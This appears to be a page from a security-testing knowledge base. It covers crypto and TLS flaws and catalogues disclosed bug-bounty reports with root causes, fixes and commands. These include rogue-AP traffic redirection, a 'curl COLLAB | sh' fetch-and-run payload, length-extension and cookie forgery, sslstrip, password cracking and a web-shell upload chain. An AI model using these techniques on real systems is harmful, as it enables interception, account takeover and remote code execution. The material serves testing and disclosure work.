# Canary: does the client verify the peer cert at all?
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Requests appear in Burp with no cert error -> validation absent -> pivot to MITM.
Identify which primitive the target exposes, then use the matching technique.
# Native client (no CA installed on device): rogue AP + redirect :443 -> proxy
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to COLLAB:8080
# If the app's OAuth token / auth headers show up in the proxy, TLS validation is broken.
# Multi-backend client: the mainstream path fails, the alternate path skips the check
curl -V # list TLS/SSH backends + HTTP/3 support
curl --http3 https://142.251.222.14 # IP host -> sni NULL -> host check skipped
curl --http3 https://TARGET --pinnedpubkey sha256//ffff # pinning silently unenforced?
# Server-side outbound client: grep the code, then MITM the fetch with a self-signed cert
# CURLOPT_SSL_VERIFYPEER=false | rejectUnauthorized:false | InsecureSkipVerify:true | verify=False
Encryption without a MAC protects confidentiality, never integrity. Any stream/CFB/CTR ciphertext you can read and write is malleable: flip a bit, or overwrite a known-plaintext block with your own bytes. (CBC is malleable too but via cut-and-paste / bit-in-previous-block — see the next section.)
# CFB/CTR bit-flip: change plaintext without the key using known plaintext (ELF magic, PE
# DOS stub, shebang, ZIP header). newC = oldC XOR knownP XOR desiredP
# -> forge a chosen 16-byte block; extend by chaining more blocks.
php inject-content.php target.enc 'curl COLLAB | sh\n' # overwrite known first block
An encrypted token with no MAC, plus a place that reflects your input as ciphertext (encryption oracle) and a place that decrypts that format (decryption oracle), gives you arbitrary plaintext by splicing blocks — no key needed.
# 1) Encryption oracle: your input comes back as ciphertext
GET /hangzhou1year/?uuid=@COLLAB/? HTTP/1.1
# view-source reveals Redirect.aspx?EQ=<ciphertext of your string>
# 2) Splice/reorder those ciphertext blocks into the decrypt/redirect param
GET /Redirect.aspx?EQ=<spliced_ciphertext> HTTP/1.1
# -> decrypts to a redirect target you control (open redirect / data: URI XSS)
Two classic shapes. md5/sha1(secret + message) with a hex hash param next to the signed data is length-extension forgeable. An HMAC whose pre-image omits method/path/body binds identity but not intent → replay a valid signature onto a destructive endpoint.
# Prefix-MAC length extension: forge md5(secret+data) for an extended message
# without the secret. --secret is the *length* of the secret (brute a range with
# --secret-min/--secret-max). The appended payload starts with a NUL (0x00) to break
# the downstream Refresh header, so it must go in as hex -- a raw $'\x00...' argv
# string is truncated at the null and never reaches the hash.
hash_extender --data 'http://a.c' --secret <guessed_len> \
--append-format=hex --append '003c7374796c653e...' \
--signature <t> --format md5
# append hex 00 3c7374796c653e... = NUL + "<style>...</style><marquee>..."
# out-data-format defaults to hex; URL-encode the emitted bytes into the request:
# /redirect?u=<url-encoded extended data>&t=<forged_md5> (NUL kills Refresh, leaves injected HTML)
# HMAC omits intent -> cross-endpoint signature reuse
# vulnerable pre-image (identity only):
# HMAC(private_key, nonce + clientId + publicKey)
# Capture a signed read-only request as MITM, DROP it (keep the nonce unspent),
# replay the same signature+nonce against /api/sellLimit with attacker POST params.
# correct pre-image must bind intent:
# HMAC(private_key, nonce + METHOD + PATH + BODY + clientId + publicKey)
A signed/hashed cookie reconstructable purely from client-knowable values (IDs + a shared password, hashed but never keyed) is not a token — it is a formula. Missing HMAC/server key means anyone can rebuild it.
# Cookie = b64(id) + b64(sha512(id)) + b64(key) + b64(sha512(key)) — no server secret
GET /Download.aspx?PackageID=15849581&FileName=x HTTP/1.1
Cookie: pickup=Subject=&PackageID=<b64(id)><b64(sha512(id))><b64(key)>-<b64(sha512(key))>
# -> bypass CAC auth, reach deleted/locked files
Anything security-relevant from a non-CSPRNG is predictable. Time-based (uniqid, mt_rand, microtime) syncs to the server clock; Math.random() (V8 xorshift128+) is recoverable from a handful of outputs.
// md5(uniqid()) reset token: read the server Date header to learn its clock, then
// generate every candidate for that second (~1M/sec) and brute the reset URL with Intruder.
$recoveryId = substr(chunk_split(strtoupper(md5(uniqid('', true))),8,'-'),-23,22);
// Math.random() for boundaries/tokens/IDs: leak a few outputs, solve xorshift128+ state (z3),
// predict the next value. Here a predicted multipart boundary smuggles extra form fields.
// predictor: github.com/PwnFunction/v8-randomness-predictor
Short keys are trivially breakable; any legacy endpoint sharing an RSA key can undermine modern TLS on unrelated services (DROWN/FREAK). Inventory for SSLv2/EXPORT anywhere the key is reused, and measure published key sizes.
# DKIM: enumerate selectors, measure modulus bits; <=512 is trivially factorable -> forge signed mail
dig txt SELECTOR._domainkey.TARGET +short # parse p=...; factor via github.com/eniac/faas
# Legacy downgrade / cross-protocol oracle (should all be zero)
testssl.sh --freak TARGET:443 # EXPORT_RSA offered?
openssl s_client -ssl2 -connect TARGET:443 # any SSLv2 -> DROWN family
nmap --script sslv2-drown -p 443 TARGET
Crypto is the entry link; the payout is downstream.
The malleable-ciphertext primitives also pivot laterally into other classes — CBC cut-and-paste into open redirect / data: URI XSS, and forgeable download tokens into IDOR-style access to files the token was never scoped for.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 91 in this class.
Real-world example
Serialization malleability: RLP decoder accepts trailing bytes outside the signature
◆ Critical
Specimen #396954 · rootstocklabs · awarded · 258 votes · resolved
Program rootstocklabsSurface other
Root cause
Transaction::rlpParse pulls the known fields from a decoded RLP list but never checks that it consumed all bytes; getEncoded() re-emits the full raw buffer (extra bytes included) while signature verification uses getRawEncoded() (extra bytes excluded), so appended arbitrary data survives validation and gets mined.
Method
- Take any valid signed transaction and append an extra RLP-encoded element after the last field (s).
- Signature check passes (it hashes only the canonical fields), so peers accept and propagate the tx.
- Block parser reuses the same decoder, so the tampered tx and its block are considered valid; extra bytes are written to the chain without paying gas.
- Variant: a malicious miner or MITM node can append data to any pending tx it relays.
# conceptual: re-encode tx list with an extra element appended
RLP.encodeList(nonce, gasPrice, gasLimit, to, value, data, v, r, s, RLP.encodeElement(hex('beefbeefbeef...')))
Insight — Whenever a decoder extracts a fixed set of fields but does not assert it reached end-of-input, and a separate 'canonical' encoding is what gets signed/hashed, an attacker can smuggle extra bytes past the integrity check. Always reject non-canonical encodings and require decode-consumes-all-input.
Real-world example
Telerik DialogHandler weak crypto key brute -> file manager -> ASPX shell (RCE)
◆ Critical
Specimen #491668 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface webChain weak Telerik crypto -> machine key recovery -> DNN filTag file-upload
Root cause
An unpatched Telerik.Web.UI DialogHandler (<=2017.1.118, CVE-2017-9248) uses weak crypto whose machine key / dp value can be brute forced, unlocking the DNN file manager, which permits uploading an ASPX web shell for RCE.
Method
- Fingerprint Telerik.Web.UI.DialogHandler.aspx and confirm vulnerable version
- Run dp_crypto to brute the encryption key from the DialogHandler responses
- Use the recovered key to build a file-manager link
- Upload an ASPX web shell via the file manager -> RCE
python dp_crypto.py -k https://TARGET/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx 88 all 21
# then open returned DocumentManager link and upload .aspx shell
Insight — On ASP.NET targets, fingerprint Telerik UI DialogHandler.aspx; older versions have a recoverable key (weak crypto) that unlocks a file manager and yields RCE. A textbook crypto-weakness-to-RCE chain with a public tool (bao7uo/dp_crypto).
Real-world example
Silent hostname-check bypass via X509_VERIFY_PARAM_set1_host namelen=0
◆ Critical
Specimen #329645 · ibb · none · 4 votes · resolved
Program ibbSurface otherTag account-takeover
Root cause
OpenSSL treats X509_VERIFY_PARAM_set1_host(param,host,0) as 'host is a NUL-terminated string' and enables hostname validation; LibreSSL/BoringSSL instead treat namelen=0 as 'clear the expected host' and return success, so apps using the documented idiom perform NO hostname validation and accept any trusted cert for any host (CVE-2018-8970).
Method
- Audit C/native TLS clients for X509_VERIFY_PARAM_set1_host(..., 0)
- If the binary links LibreSSL>=2.7.0 or BoringSSL, hostname validation is silently off
- Verify by connecting with a valid cert for the WRONG hostname - it succeeds
- Affected: CPython 3.7 ssl module, mongo-c-driver, likely many others
// documented-but-dangerous on LibreSSL/BoringSSL:
X509_VERIFY_PARAM_set1_host(param, servername, 0); // namelen=0
// safe: pass explicit length
X509_VERIFY_PARAM_set1_host(param, servername, strlen(servername));
Insight — Cross-library API-contract drift is a rich bug source: the same 'correct' idiom (copied from OpenSSL's own wiki) is a critical MitM hole on a compatible-but-divergent implementation. Always pass explicit lengths and test hostname mismatch against every SSL backend you link.
Real-world example
Client-forgeable download token from public inputs (no server secret)
◆ Critical
Specimen #496326 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain forged download cookie -> CAC auth bypass -> access toTag account-takeover
Root cause
A file-download authorization cookie is built entirely from client-knowable values (base64 file ID + SHA-512 of the file ID + base64 package key + SHA-512 of the key) with NO server-side secret/HMAC, so anyone who knows the file ID and package password can forge the cookie and bypass CAC auth, deletion, and lock controls.
Method
- Capture the download cookie format (pickup=...PackageID=<b64 id>...)
- Reconstruct it: b64(fileID) + '-' + b64(SHA512(fileID)) + b64(packageKey) + '-' + b64(SHA512(packageKey))
- GET /Download.aspx?PackageID=<id>&FileName=x with the forged cookie
- Access CAC-protected, deleted, and already-locked files
pickup=Subject=&PackageID=MTU4NDk1ODE=<b64(sha512(id))><b64(key)>-<b64(sha512(key))>
GET /Download.aspx?PackageID=15849581&FileName=dog.jpg HTTP/1.1
Cookie: pickup=Subject=&PackageID=...
Insight — An authorization token with no server-held secret is not a token, it's a formula. Whenever a signed/hashed cookie can be reconstructed purely from values the client already knows (IDs + a shared password), it is forgeable - look for missing HMAC/server key in 'stateless' auth cookies.
Real-world example
Hard-coded/public DTLS cert+private key enables SRTP stream hijack
◆ High
Specimen #531032 · slack · USD 2000 · 169 votes · resolved
Program slackSurface webChain MITM/TURN hijack -> known DTLS key -> attacker-set SRT
Root cause
A WebRTC (Janus) server ships with the default certificate AND private key that were once distributed publicly in the upstream repo; anyone can obtain the key, so the DTLS identity that protects the SRTP key exchange is not secret.
Method
- Capture a call with Wireshark (filter stun) and note the DTLS cert (string 'rainmaker') / SetRemoteDescription fingerprint in about:webrtc-internals.
- Pull the old default cert+key from the upstream commit that removed them; confirm SHA256 fingerprint matches the live server.
- As MITM (ARP/DNS/route), hijack the TURN server, present the known default cert, skip verifying the victim's cert, and set your own SRTP master key over that DTLS session.
openssl x509 -noout -fingerprint -sha256 -inform pem -in janus-cert1.crt
# compare with the SetRemoteDescription fingerprint seen in about:webrtc-internals
Insight — For any TLS/DTLS/WebRTC service, fingerprint the presented certificate and grep public repos/firmware for a matching default cert+key. A private key that ever shipped in source is permanently compromised; the fix is regenerating the key, not rotating configs.
Real-world example
Weak/placeholder Flask SECRET_KEY -> forge signed session cookies (flask-unsign)
◆ High
Specimen #1387366 · kubernetes · USD 250 · 85 votes · resolved
Program kubernetesSurface webTag account-takeover
Root cause
A stateless-cookie framework (Flask) signs session cookies with a guessable/placeholder secret (literally 'N/A'), so an attacker can recover the key by dictionary/brute force and mint arbitrary signed sessions.
Method
- Grab the session cookie from Set-Cookie.
- Decode it and brute-force the signing secret with flask-unsign's wordlist.
- Once the secret is known, re-sign a forged session payload to manipulate identity/state.
curl https://TARGET -Is | grep -i cookie
flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"
# with wordlist: pip3 install flask-unsign[wordlist]; flask-unsign --unsign --wordlist ...
# forge: flask-unsign --sign --cookie "{'user_id': 1}" --secret 'N/A'
Insight — On any stateless-cookie app, always test the signing secret with flask-unsign / CookieMonster: dev placeholders ('test','changeme','secret','N/A') and env defaults ship to prod constantly. Recovered secret = full session forgery / privilege escalation.
Real-world example
Client app (mobile/desktop) skips TLS cert validation -> transparent-proxy MITM harvests tokens
◆ High
Specimen #168538 · x · USD 2100 · 40 votes · resolved
Program xSurface mobile-iosChain rogue AP -> transparent MITM -> OAuth token capture -&Tag account-takeover
Root cause
A native app does not validate the server TLS certificate, so a transparent MITM (untrusted CA / self-signed cert) can read the encrypted traffic and steal OAuth tokens / credentials the app sends.
Method
- Run Burp in transparent mode generating per-host certs from Burp's (untrusted) CA.
- Stand up a rogue Wi-Fi AP and redirect :443 to the proxy with iptables.
- Connect the device, open the app; if requests appear in Burp without the app rejecting the cert, cert validation is broken -> capture OAuth token / auth headers.
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# then observe e.g. GET /1.1/help/settings.json with the app's OAuth token in Burp
Insight — Test every native mobile/desktop client (and embedded webviews) against a transparent proxy with an UNtrusted CA. If traffic is visible without the app erroring, TLS validation is absent -> full credential/token MITM. Desktop 'register/login' webviews and backup/update clients are frequent offenders.
Real-world example
Hash malleability via ambiguous transaction concatenation (Hyperledger Fabric CVE-2023-46132)
◆ High
Specimen #2255968 · hyperledger · none · 34 votes · resolved
Program hyperledgerSurface other
Root cause
Fabric's block DataHash concatenates the raw transaction byte-arrays with no length prefix/delimiter before hashing; because transaction parsing ignores trailing bytes, an attacker can merge two adjacent transactions into one (or otherwise re-draw boundaries) producing a different transaction set with an identical DataHash and block hash => silent state fork.
Method
- Obtain a valid block whose DataHash = H(tx1 || tx2 || ...).
- Re-encode the block so tx1 and tx2 are stored as a single entry (bytes identical when concatenated).
- Peers parse the merged entry, consume only tx1's fields, and drop tx2 -- yet the block hash is unchanged, so no tampering is detected.
# original: |tx1|tx2|tx3| hashed bytes: tx1tx2tx3
# tampered: |tx1tx2|tx3| hashed bytes: tx1tx2tx3 (same hash, one fewer tx)
Insight — Any hash/signature computed over concatenated variable-length items WITHOUT length prefixes or a proper Merkle tree is malleable; combined with a parser that ignores trailing bytes it lets you add/drop elements at a fixed digest. Demand length-delimited or Merkle-tree hashing.
Real-world example
Predictable password-reset token from PHP uniqid()
◆ High
Specimen #576504 · revive_adserver · none · 31 votes · resolved
Program revive_adserverSurface webChain Predict reset token -> set admin password -> auth bypaTag account-takeover
Root cause
Password-recovery tokens were md5(uniqid()) - uniqid() is derived only from the current time (seconds + microseconds, <7 bytes entropy, ~1M values/sec without more_entropy), so tokens are predictable and brute-forceable.
Method
- Enumerate the admin email and confirm reset works
- Read the server Date header to learn its clock/timezone
- At the moment you request the reset, generate the same md5(uniqid()) tokens locally for that second
- Try the ~1M candidate tokens against the reset endpoint with Intruder
$recoveryId = substr(chunk_split(strtoupper(md5(uniqid('', true))),8,'-'),-23,22);
// generate 10k+ candidates for the target second and brute force the reset URL
Insight — Audit reset/session token generation for time-based PRNGs (uniqid, mt_rand, microtime). The Date response header leaks the server clock needed to sync candidate generation.
Real-world example
TLS session resumption reuses sessions that failed hostname verification (CVE-2020-8172)
◆ High
Specimen #811502 · nodejs · awarded · 29 votes · resolved
Program nodejsSurface otherTag account-takeover
Root cause
Node's TLS layer emitted the 'session' event (caching the session for reuse) even when checkServerIdentity/hostname verification had failed, because the session callback fires independently of onConnectSecure. Resumed sessions then skip hostname verification (guarded by !isSessionReused), so a cached bad session silently bypasses identity checks on later requests to the same host:port.
Method
- Target a server with a valid CA-signed cert for ANY hostname that supports TLS resumption.
- MITM/redirect the victim's first request to that server; hostname verification fails and the request errors, BUT the session is still cached.
- Win the race to reuse the cached session before it is evicted (PoC uses setImmediate against the https Agent session cache).
- Second request resumes the session, skips hostname check, and succeeds against the wrong host = MITM (200 response).
# poc.js output:
# [!] First request failed: Host: nodejs.org. is not in the cert's altnames: DNS:loca.host
# [x] Starting second request (reuses globalAgent._sessionCache)
# [!] Bypassed hostname verification. Server response: 200
Insight — When reviewing any TLS stack with session caching, verify that sessions failing certificate/hostname validation are NOT inserted into the cache and that resumed sessions still enforce identity. 'Session reuse' + 'skip verification on resume' is a recurring MITM pattern (see also curl CVE-2021-22890).
Real-world example
Cleartext/mixed-content login -> sslstrip MITM
◆ High
Specimen #214571 · rockstargames · 350 · 24 votes · resolved
Program rockstargamesSurface webTag account-takeover
Root cause
A login/comment form is served on an HTTP page (no HSTS); an on-path attacker downgrades the request with sslstrip and captures credentials in plaintext.
Method
- Identify a login form reachable over http:// (mixed content, no HSTS)
- On-path (ARP spoof), run sslstrip to strip the HTTPS upgrade
- Capture the plaintext POST credentials
arpspoof -t VICTIM GATEWAY
sslstrip -l 8080 # then read POST creds
Insight — Any credential form reachable via http:// without HSTS preload is sslstrip-able; check for missing Strict-Transport-Security and http-first form actions.
Real-world example
JWE ECDH-ES invalid curve attack -> private key recovery
◆ High
Specimen #213437 · ibb · 1000 · 14 votes · resolved
Program ibbSurface otherChain invalid curve oracle -> full static private key recovery Tag jwt
Root cause
JWE (RFC 7516) ECDH-ES did not require validating that the received ephemeral EC public key is a point on the expected curve. Submitting points on weaker/invalid curves and observing decryption outcomes lets an attacker recover the receiver's static ECDH private key. Affected node-jose, jose2go, Nimbus JOSE+JWT, jose4j.
Method
- Target a JWE consumer using ECDH-ES with a static recipient key
- Send JWE messages whose epk is a crafted point on an invalid/low-order curve
- Use decryption success/failure as an oracle and combine residues (CRT/Pohlig-Hellman) to recover the private key
# craft JWE with epk = point on invalid curve; iterate to recover static ECDH-ES private key
# refs: blog.intothesymmetry.com / auth0 critical-vuln-in-jwe
Insight — Any ECDH implementation (JWE ECDH-ES, ECIES, custom) MUST validate the peer point lies on the curve. A missing on-curve check is an invalid-curve attack that recovers the private key. Audit JOSE libraries and custom ECDH for the point-validation step.
Real-world example
DROWN: cross-protocol Bleichenbacher oracle via SSLv2 key reuse
◆ High
Specimen #166629 · ibb · awarded · 13 votes · resolved
Program ibbSurface otherChain SSLv2 oracle + key reuse -> decrypt TLS sessions of a non
Root cause
A server supporting SSLv2 + EXPORT ciphers acts as a Bleichenbacher RSA padding oracle. Because RSA keys are often shared across services, sessions to a non-vulnerable server can be decrypted if any server (even SMTP/IMAP/POP) sharing that RSA key still speaks SSLv2.
Method
- Enumerate all services on the target that share the same certificate/RSA key
- Check whether any of them still supports SSLv2 (or SSLv2 EXPORT ciphers, even with CVE-2015-3197)
- Capture TLS sessions to the strong endpoint and use the SSLv2 oracle (~2^50 work + many connections) to decrypt
# find any SSLv2/EXPORT endpoint sharing the target's RSA key (mail, load balancer, etc.)
Insight — Key reuse across services means one weak legacy endpoint compromises the strong one. Always enumerate every service (web, mail, LB) sharing a cert/key, and treat any residual SSLv2 support anywhere as fatal. Disable SSLv2 globally.
Real-world example
Cracking weak PDF password to reach plaintext config credentials
◆ High
Specimen #985133 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain exposed protected PDF -> weak password cracked -> plaiTag webhook
Root cause
A sensitive PDF guide was protected with a weak (wordlist) password; cracking it with pdf2john+john exposed setup instructions and a plaintext configuration-file password for a secure communications app.
Method
- Download the password-protected PDF (wget).
- Convert to a john-crackable hash: pdf2john.pl guide.pdf > hash.txt.
- Crack with a common wordlist: john --wordlist=rockyou.txt hash.txt.
- Open the PDF; read the plaintext config password and unprotected config-file location to join the secure channel.
perl pdf2john.pl guide.pdf > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show --format=PDF hash.txt
Insight — Password-protected documents are not access control. When you find one exposed, run pdf2john/office2john + john/hashcat with rockyou first; weak passwords fall instantly and the contents often chain to further credentials/config. Treat any recoverable-format credential storage as disclosure.
Real-world example
TLS connection-cache poisoning via flawed SSL-config match (curl CVE-2021-22924)
◆ High
Specimen #1223565 · curl · awarded · 5 votes · resolved
Program curlSurface otherChain weaker first connection -> pool match ignores stricter op
Root cause
curl's Curl_ssl_config_matches compared CA/pinning settings incompletely: it ignored CURLOPT_CAINFO_BLOB/ISSUERCERT_BLOB and CURLOPT_ISSUERCERT, and compared capath/cainfo/pinned-key paths (and the sha256// pin) case-insensitively — so a less-secure earlier connection is wrongly reused for a later 'secure' one, neutralizing pinning/CA options and enabling MITM.
Method
- Get the app to first open a TLS connection to target host:port with attacker-influenced (weaker) CA/path options
- Use a path that differs only in capitalization, or a BLOB/ISSUERCERT option the match ignores
- When the app later connects to the same host:port with the intended strict pinning/CA, curl reuses the poisoned pooled connection, skipping the stricter checks
- MITM the reused connection
cp /etc/ssl/certs/ca-certificates.crt ca.crt
touch CA.crt
# second connection should fail if matching were correct, but is wrongly reused:
curl --capath /dev/null --cacert $PWD/ca.crt https://curl.se \
--next --capath /dev/null --cacert $PWD/CA.crt https://curl.se
Insight — Connection-reuse/pooling logic must compare ALL security parameters exactly. When auditing HTTP clients, probe whether case-different paths, BLOB cert options, or issuer certs are excluded from the pool-match key — mismatches let a weaker cached connection strip pinning/CA guarantees.
Real-world example
HTTPS-via-HTTP-proxy without CONNECT skips upstream cert validation
◆ High
Specimen #1583680 · nodejs · none · 4 votes · resolved
Program nodejsSurface apiChain absolute-URL proxying -> no e2e TLS -> proxy/network M
Root cause
Undici ProxyAgent (and Node global fetch through it) proxies HTTPS by sending an absolute-URL request (GET https://target) to the proxy instead of opening a CONNECT tunnel; the client never does end-to-end TLS, never validates the upstream cert, and over an HTTP proxy sends 'HTTPS' traffic in plaintext (CVE-2022-32210).
Method
- Configure the client with an HTTP proxy (ProxyAgent)
- Request an HTTPS site with an invalid cert (self-signed.badssl.com)
- It returns 200 instead of failing -> no upstream cert validation
- Without the proxy the same request correctly throws 'self-signed certificate'
const undici = require('undici')
const dispatcher = new undici.ProxyAgent({ uri: 'http://localhost:8118' })
console.log((await undici.fetch('https://self-signed.badssl.com', { dispatcher })).status) // 200 (should throw)
Insight — When testing any HTTP client's proxy support, force an invalid upstream cert (badssl.com) through the proxy: if it succeeds, the client isn't doing CONNECT + end-to-end TLS and all 'HTTPS' traffic is exposed to (and forgeable by) the proxy and the network.
Real-world example
CBC padding oracle -> decrypt & forge (Oracle Access Manager encquery)
◆ High
Specimen #728110 · deptofdefense · awarded · 3 votes · resolved
Program deptofdefenseSurface webChain padding oracle -> decrypt session token -> forge/encryTag account-takeover
Root cause
An app-layer parameter is CBC-encrypted and the server returns distinguishable responses on valid vs invalid padding, giving a padding oracle. Because all messages share one key, the oracle both decrypts and (via reverse of the attack) encrypts arbitrary plaintext.
Method
- Find an opaque encrypted parameter/cookie (here OAM `encquery`/`encreply`/`OAMAuthnCookie`; ASP.NET `WebResource.axd?d=`; any base64 CBC blob).
- Confirm a padding oracle: flip bytes of the last block and observe differential error/response signaling valid vs invalid PKCS7 padding.
- Run an automated padding-oracle tool against the sink to recover plaintext block-by-block.
- Reverse the oracle to encrypt attacker-chosen plaintext (e.g. a forged auth cookie) and submit it for authentication bypass.
# OAM (redtimmy OAMBuster), note consent cookie needed on every request:
python oambuster.py -d https://TARGET # gcds-consent=true required to skip consent banner
# ASP.NET MS10-070 detection against WebResource.axd?d=...&t=...:
python ms10-070_check.py https://TARGET/WebResource.axd?d=<ciphertext>&t=<ts>
Insight — Any opaque, server-decrypted, CBC-mode blob (SSO tokens, ViewState/.axd, download links, license/session cookies) is a candidate padding oracle. A single reused key means decrypt-capability equals encrypt/forge-capability -> auth bypass, not just disclosure. Probe for differential padding-error responses before assuming it is opaque.
Real-world example
Static/reused DH exponent + non-safe primes -> private key recovery (CVE-2016-0701)
◆ High
Specimen #113288 · ibb · awarded · 2 votes · resolved
Program ibbSurface otherTag mitm
Root cause
When DH parameters are built on non-'safe' primes (X9.42/RFC5114 style, or dhparam -dsaparam) and the server reuses the same private DH exponent (SSL_OP_SINGLE_DH_USE not set, or static-DH ciphersuites), an attacker completing multiple handshakes can recover the peer's private DH exponent via small-subgroup confinement.
Method
- Detect DHE/static-DH with parameters from non-safe primes (X9.42 files with a 'q', RFC5114 groups).
- Determine whether the private exponent is reused (SSL_OP_SINGLE_DH_USE off, or static DH where the key is in the cert).
- Complete multiple handshakes reusing that exponent to recover private-key information from the small subgroup structure.
# Non-safe params generated by:
openssl genpkey -genparam -algorithm DH -pkeyopt dh_rfc5114:2
openssl dhparam -dsaparam 2048
# Defense: set SSL_OP_SINGLE_DH_USE (default-on and forced post-1.0.2f) and use safe primes.
Insight — Two conditions must co-occur: non-safe primes AND private-exponent reuse. Static-DH ciphersuites always reuse (key is in the cert) and are the highest-risk. When auditing TLS crypto config, flag static DH and any DH params lacking safe primes plus missing SINGLE_DH_USE.
Real-world example
Unauthenticated encryption public keys enable key-replacement against data-at-rest
◆ High
Specimen #732431 · nextcloud · none · 2 votes · resolved
Program nextcloudSurface webChain key-file write -> public key replacement -> future fil
Root cause
Server-side-encryption key files (master, per-user, recovery public keys) are stored without integrity protection, so anyone with write access to the data directory (including an external storage provider hosting it) can replace a public key with their own; all subsequently created/modified files get encrypted to the attacker's key (CVE-2020-8259).
Method
- Gain write access to the data-at-rest directory (external storage / backup / infra access, not app admin)
- Replace a stored public key file (e.g. recovery or admin account) with an attacker-generated key
- Wait for new/modified files to be encrypted; each is now also encrypted to the attacker key
- Decrypt those files with the attacker's private key
# No app credentials needed. Overwrite data/<user>/files_encryption/.../publicKey with attacker pubkey.
# Fix: store fingerprint/MAC of each key file (keyed by instanceid+secret+filename) and verify on read.
Insight — Encryption is only as strong as key integrity. When reviewing at-rest encryption, ask: are the public keys authenticated? If key material lives in a directory an attacker (or a storage provider) can write, and there is no MAC/fingerprint check, encryption gives no confidentiality against that party. Transferable to any KMS-less scheme that stores keys next to data.
Real-world example
Node.js policy integrity bypass by overriding internal Hash binding
◆ Medium
Specimen #2208860 · ibb · $1270 · 82 votes · resolved
Program ibbSurface otherChain Override internal digest -> forged checksum -> policy
Root cause
Node's experimental policy integrity check computes hashes with crypto.Hash, which is protected against prototype tampering but still delegates to replaceable internal C++ bindings; application code can override the internal handle's digest to return a forged checksum, disabling the integrity check.
Method
- In the low-integrity module allowed by policy, create a Hash and capture its internal kHandle via getOwnPropertySymbols
- Override kHandle.constructor.prototype.digest to return a precomputed fake digest matching the manifest
- require() the protected module whose real content violates the manifest -> loads anyway
const h = require('crypto').createHash('sha384');
const fakeDigest = h.digest();
const kHandle = Object.getOwnPropertySymbols(h).find(s => s.description === 'kHandle');
h[kHandle].constructor.prototype.digest = () => fakeDigest;
require('./protected.js'); // integrity check passes despite mismatch
Insight — Integrity/allow-list mechanisms enforced inside the same runtime the untrusted code runs in are bypassable: if any object the check relies on (internal binding, prototype, symbol-keyed handle) is reachable and mutable from that code, override it to forge the result. When reviewing in-process sandboxes, look for the internal primitive that isn't frozen. (CVE-2023-38552.)
Real-world example
TLS/SSH peer-identity verification skipped on specific backend x protocol x host-form combos (curl)
◆ Medium
Specimen #3150884 · curl · none · 43 votes · resolved
Program curlSurface otherChain skip cert/host-key check -> MITM TLS/SFTP -> intercept
Root cause
Certificate/host verification is implemented per TLS/SSH backend and per protocol path; less-common combinations (wolfSSL/mbedTLS/wolfSSH, HTTP/3-QUIC, IP-literal hosts, error paths) miss the verification call entirely, so any presented cert/host key is accepted.
Method
- Enumerate the target's backend x protocol matrix (e.g. curl -V; TLS backend, HTTP/3, SSH backend).
- For each combo, connect with a mismatched/self-signed cert (or to an IP literal, or with pinning set to a bogus key) and see whether verification still fails.
- A combo that succeeds where the OpenSSL/HTTP-1.1 path fails is the vuln.
# CVE-2025-4947 (wolfSSL QUIC, IP host -> peer->sni NULL -> no wolfSSL_X509_check_host):
curl --http3 https://142.251.222.14
# CVE-2025-5025 (wolfSSL HTTP/3 pinning never enforced):
curl --http3 https://google.com --pinnedpubkey sha256//ffff
# vulnerable guard:
# if(conn_config->verifyhost) { if(peer->sni) { ... check_host ... } } // IP => sni NULL => skipped
Insight — Never assume cert/pin/host-key validation is uniform. Verification lives on many code paths; test every backend, every protocol version (esp. newer QUIC/HTTP3), IP-literal vs hostname, and error branches. The bug is usually a guard like 'if(sni)' or an error path that returns OK. Same pattern applies to any multi-backend TLS/SSH client.
Real-world example
Client accepts any CA-valid cert without hostname (CN/SAN) check
◆ Medium
Specimen #337680 · portswigger · awarded · 39 votes · resolved
Program portswiggerSurface desktopTag account-takeover
Root cause
A TLS client (Burp's Collaborator polling) validates that the presented certificate chains to a trusted CA and is not self-signed, but never checks that the certificate's CN/SAN matches the server it connected to. Any attacker holding a valid cert for an unrelated domain can terminate the connection and intercept it.
Method
- Obtain any legitimate CA-signed cert for a domain you control (a wildcard for an unrelated domain works).
- MITM the client's connection to the target server and present that cert.
- Observe the client completes the handshake with no warning/failure (only self-signed certs are rejected).
- Intercept the plaintext protocol data (here, Collaborator polling records).
# present a valid wildcard cert for *.attacker.com when the client expects <collaborator-host>
# handshake succeeds because only self-signed is checked, CN/SAN is not
Insight — When auditing any custom TLS client (agents, updaters, polling services, IoT), test hostname verification separately from chain validation: present a valid cert for the WRONG hostname. Many clients only reject self-signed and skip identity matching.
Real-world example
Terrapin + weak SSH algorithm detection methodology
◆ Medium
Specimen #2446531 · nextcloud · none · 36 votes · resolved
Program nextcloudSurface network
Root cause
SSH endpoints negotiate weak/legacy algorithms (SHA-1, DH group14, 64-bit MACs, encrypt-and-MAC) and are vulnerable to Terrapin (CVE-2023-48795) prefix-truncation when ChaCha20-Poly1305 or CBC-EtM is used without the kex-strict marker.
Method
- Enumerate offered algorithms: nmap ssh2-enum-algos and ssh-audit.
- Flag SHA-1 kex/host keys, NIST P-curves, DH group14, <128-bit MAC tags, encrypt-and-MAC modes.
- Test Terrapin: vulnerable iff chacha20-poly1305 or CBC-EtM is offered AND kex-strict-*-v00@openssh.com is absent on both peers (use RUB-NDS/Terrapin-Scanner).
nmap --script ssh2-enum-algos -sV -p- TARGET
ssh-audit TARGET
# Terrapin:
./Terrapin-Scanner --connect TARGET:22
Insight — A reusable SSH crypto-hygiene checklist: dump algorithms with ssh-audit/nmap, then map each to a concrete weakness class. Terrapin requires a specific cipher + missing strict-kex marker on BOTH peers - state that precondition so you don't false-positive a patched server that still merely offers the cipher.
Real-world example
OCSP stapling revocation bypass across TLS backends
◆ Medium
Specimen #2669852 · curl · none · 36 votes · resolved
